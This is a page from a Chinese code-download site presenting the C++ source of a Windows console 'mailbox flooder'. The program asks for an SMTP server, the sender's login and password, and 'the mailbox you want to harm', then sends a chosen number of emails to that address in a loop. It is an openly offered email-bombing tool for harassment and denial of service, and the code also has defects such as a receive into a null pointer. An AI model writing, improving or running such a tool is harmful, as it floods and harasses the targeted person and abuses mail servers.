⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 邮箱泛滥器.cpp

📁 电子邮件指定地址海量发送
💻 CPP
字号:
// 邮箱泛滥器.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "邮箱泛滥器.h"
#include <string.h>
#include <sys/types.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <iostream>

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

using namespace std;
/*-------------------------
base64 encode function
-------------------------*/
void base64enc(char *instr,char *outstr)
{
        char * table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        int instr_len=0,i=0,j=0,pad=0;
        char buffirst[4]="",bufsecend[4]="";
        instr_len=strlen(instr);
        pad=instr_len%3;
        for(i=0;i < instr_len;i=i+3)
        {
                if(instr_len - i == 2)
                {
                        buffirst[0] = instr[i];
                        buffirst[1] = instr[i+1];
                        bufsecend[0] = buffirst[0] >> 2;
                        bufsecend[1] = (buffirst[0] & 0x03) << 4 | buffirst[1] >> 4;
                        bufsecend[2] = (buffirst[1] & 0x0f) << 2;
                        bufsecend[3] = '=';
                        bufsecend[0] = table[bufsecend[0]];
                        bufsecend[1] = table[bufsecend[1]];
                        bufsecend[2] = table[bufsecend[2]];
                }
                else if(instr_len - i == 1)
                {
                        buffirst[0] = instr[i];
                        bufsecend[0] = buffirst[0] >> 2;
                        bufsecend[1] = (buffirst[0] & 0x03) << 4;
                        bufsecend[2] = '=';
                        bufsecend[3] = '=';
                        bufsecend[0] = table[bufsecend[0]];
                        bufsecend[1] = table[bufsecend[1]];
                }
                else
                {
                        buffirst[0] = instr[i];
                        buffirst[1] = instr[i+1];
                        buffirst[2] = instr[i+2];
                        bufsecend[0] = buffirst[0] >> 2;
                        bufsecend[1] = (buffirst[0] & 0x03) << 4 | buffirst[1] >> 4;
                        bufsecend[2] = (buffirst[1] & 0x0f) << 2 | buffirst[2] >> 6;
                        bufsecend[3] = buffirst[2] & 0x3f;
                        bufsecend[0] = table[bufsecend[0]];
                        bufsecend[1] = table[bufsecend[1]];
                        bufsecend[2] = table[bufsecend[2]];
                        bufsecend[3] = table[bufsecend[3]];
                }
                strncat(outstr,bufsecend,4);
        }
}

int MailSend()
{
	CWinApp theApp;
	WORD wVersionRequested;
	WSAData wsaData;
	SOCKET conn_socket;

	int retval;
	if ((retval = WSAStartup(0x202,&wsaData)) != 0) 
	{
        fprintf(stderr,"WSAStartup failed with error %d\n",retval);
        WSACleanup();
        return -1;
    }

	char ServerAddress[27]="",FromMail[512]="",SendMail[512]="",UserName[512]="",Passwd[512]="";
	int ServerPort,SendNum,time;
	cout << "输入SMTP服务器的IP地址(暂时还不支持域名!): ";
	scanf("%s",&ServerAddress);
	cout << "输入SMTP服务器的端口号: ";
	scanf("%d",&ServerPort);
	cout << "输入你使用的发送帐号地址: ";
	scanf("%s",&UserName);
	cout << "输入你使用的发送帐号的密码: ";
	scanf("%s",&Passwd);
	cout << "输入你要加害的邮箱地址: ";
	scanf("%s",&SendMail);
	cout << "你要发送多少封就填多少啦: ";
	scanf("%d",&SendNum);
	cout << "每隔多久发送一封,填30就是1秒一封(注意:至少要填20以上,否则发送的时候会有丢失,最好根据服务器的响应速度来决定具体发送间隔): ";
	scanf("%d",&time);
	cout << "正在加密用户名和密码......" << endl;
	Sleep(time);
	char UserEncName[512]="";
	char PasswdEnc[512]="";
	base64enc(UserName,UserEncName);
	base64enc(Passwd,PasswdEnc);
	cout << "请检查您刚才所输入的参数!" << endl;
	Sleep(time);
	printf("The ServerAddress is %s\n",ServerAddress);
	printf("The ServerPort is %d\n",ServerPort);
	printf("The UserName is %s\n",UserEncName);
	printf("The Passwd is %s\n",PasswdEnc);
	printf("The SendMail is %s\n",SendMail);
	printf("The SendNum is %d\n",SendNum);
	printf("The SendTime is %d\n",time);
	Sleep(time);
	cout << "开始发送邮件......" << endl;
	Sleep(time);
	int sockfd,socktd;
	struct sockaddr_in dest_addr;
	int i;
	for(i=1;i<=SendNum;i++)
		{
		sockfd=socket(AF_INET,SOCK_STREAM,0);
		if(sockfd < 0) 
			{printf("Take the socketing ...... Error\n");}

		dest_addr.sin_family=AF_INET;
		dest_addr.sin_port=htons(ServerPort);
		dest_addr.sin_addr.s_addr=inet_addr(ServerAddress);
//		bzero(&(dest_addr.sin_zero),8);
		socktd=connect(sockfd,(struct sockaddr*)&dest_addr,sizeof(struct sockaddr));

		if(socktd < 0)
			{printf("Connecting %s ...... Error\n",inet_ntoa(dest_addr.sin_addr));}
		Sleep(time);

		int sock,len;
		char *msg="ehlo feng\r\n";
		len=strlen(msg);
		sock=send(sockfd,msg,len,0);
		if(sock < 0)
			{printf("Send ...... Error\n");}
		Sleep(time);

		char *login="AUTH LOGIN\r\n";
		sock=send(sockfd,login,strlen(login),0);
		if(sock < 0)
			{printf("Login Error!\n");}
		Sleep(time);

		char *LoginUser=UserEncName;
		sock=send(sockfd,LoginUser,strlen(LoginUser),0);
                if(sock < 0)
                        {printf("LoginUser Error!\n");}
                Sleep(time);
		sock=send(sockfd,"\r\n",strlen("\r\n"),0);
		if(sock < 0)
                        {printf("LoginUserEnter Error!\n");}
		Sleep(time);

		char *LoginPasswd=PasswdEnc;
		sock=send(sockfd,LoginPasswd,strlen(LoginPasswd),0);
		if(sock < 0)
			{printf("LoginPasswd Error!\n");}
		Sleep;

		sock=send(sockfd,"\r\n",strlen("\r\n"),0);
                if(sock < 0)
                        {printf("LoginPasswdEnter Error!\n");}
                Sleep(time);
		sock=send(sockfd,"MAIL FROM: <",strlen("MAIL FROM: <"),0);
		if(sock < 0)
			{printf("Send Mailfrom ...... Error\n");}
		Sleep(time);

		char *MailFromByte=UserName;
		sock=send(sockfd,MailFromByte,strlen(MailFromByte),0);
		if(sock < 0)
			{printf("Send MailFromByte Error!\n");}
		Sleep(time);

		sock=send(sockfd,">\r\nRCPT TO: <",strlen(">\r\nRCPT TO: <"),0);
			if(sock < 0)
                        {printf("Send RCPT TO Error!\n");}
		Sleep(time);

		char *SendMailByte=SendMail;
		sock=send(sockfd,SendMailByte,strlen(SendMailByte),0);
                if(sock < 0)
			{printf("Send The SendMailByte_Mail Error!\n");}
		Sleep(time);

		sock=send(sockfd,">\r\nData\r\n",strlen(">\r\nData\r\n"),0);
	        if(sock < 0)
	                {printf("Send Data...... Error\n");}
		Sleep(time);

		const char *MailFromTo="From: <";
                sock=send(sockfd,MailFromTo,strlen(MailFromTo),0);
                if(sock < 0)
                        {printf("Send MailFrom...... Error\n");}
                Sleep(time);

		sock=send(sockfd,MailFromByte,strlen(MailFromByte),0);
		if(sock < 0)
			{printf("Send The MailFromByte_Mail Error!\n");}
		Sleep(time);

                sock=send(sockfd,">\r\nTo: <",strlen(">\r\nTo: <"),0);
                if(sock < 0)
                        {printf("Send MailFrom Enter...... Error\n");}
                Sleep(time);

		sock=send(sockfd,SendMailByte,strlen(SendMailByte),0);
		if(sock < 0)
                        {printf("Send SendMailByte_Mail...... Error\n");}
                Sleep(time);

		sock=send(sockfd,">\r\n",strlen(">\r\n"),0);
		if(sock < 0)
                        {printf("Send SendMailEnter_Mail...... Error\n");}
                Sleep(time);

		const char *MailSubject="Subject: This is only a test mail! ^^\r\n\r\n";
	        sock=send(sockfd,MailSubject,strlen(MailSubject),0);
	        if(sock < 0)
	               	{printf("Send MailData...... Error\n");}
		Sleep(time);

		char str[25];
		sprintf(str,"%d",i);
                sock=send(sockfd,str,strlen(str),0);
                if(sock < 0)
                        {printf("Send MailData...... Error\n");}
                Sleep(time);

		char *MailDataEnd="\r\n.\r\n";
		if(i - SendNum == 0)
                        {Sleep(30);}
                else
                        {Sleep(time);}
                sock=send(sockfd,MailDataEnd,strlen(MailDataEnd),0);
                if(sock < 0)
                        {printf("Send MailDataEnd...... Error\n");}
                Sleep(time);	

		msg=NULL;
	        sock=recv(sockfd,msg,1024,0);
	        if(sock >= 0)
	                {printf(msg);
			printf("\n");}

		if(SendNum - i == 0)
			{Sleep(30);}
		else
			{Sleep(time);}

//		char *EndMail="QUIT\r\n";
//		sock=send(sockfd,EndMail,strlen(EndMail),0);
//		if(sock < 0)
//			{printf("Send QUIT ...... Error\n");}

//		msg=NULL;
//		sock=recv(sockfd,msg,1024,0);
//		if(sock >= 0)
//			{printf(msg);
//			printf("\n");}
		if(i - SendNum == 0)
			{Sleep(30);}
		else
			{Sleep(time);}
		Sleep(time);
		printf("The %d Mail is Send!\n",i);

		if(i - SendNum == 0)
                        {printf("Send OK\n");}
		}
		return(0);
	}


// 唯一的应用程序对象

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
	int nRetCode = 0;

	// 初始化 MFC 并在失败时显示错误
	if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
	{
		// TODO: 更改错误代码以符合您的需要
		_tprintf(_T("错误: MFC 初始化失败\n"));
		nRetCode = 1;
	}
	else
	{
		// TODO: 在此处为应用程序的行为编写代码。
		if(MailSend() < 0)
		{
			cout << "Mail Send Error!" << endl;
		}
	}

	return nRetCode;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -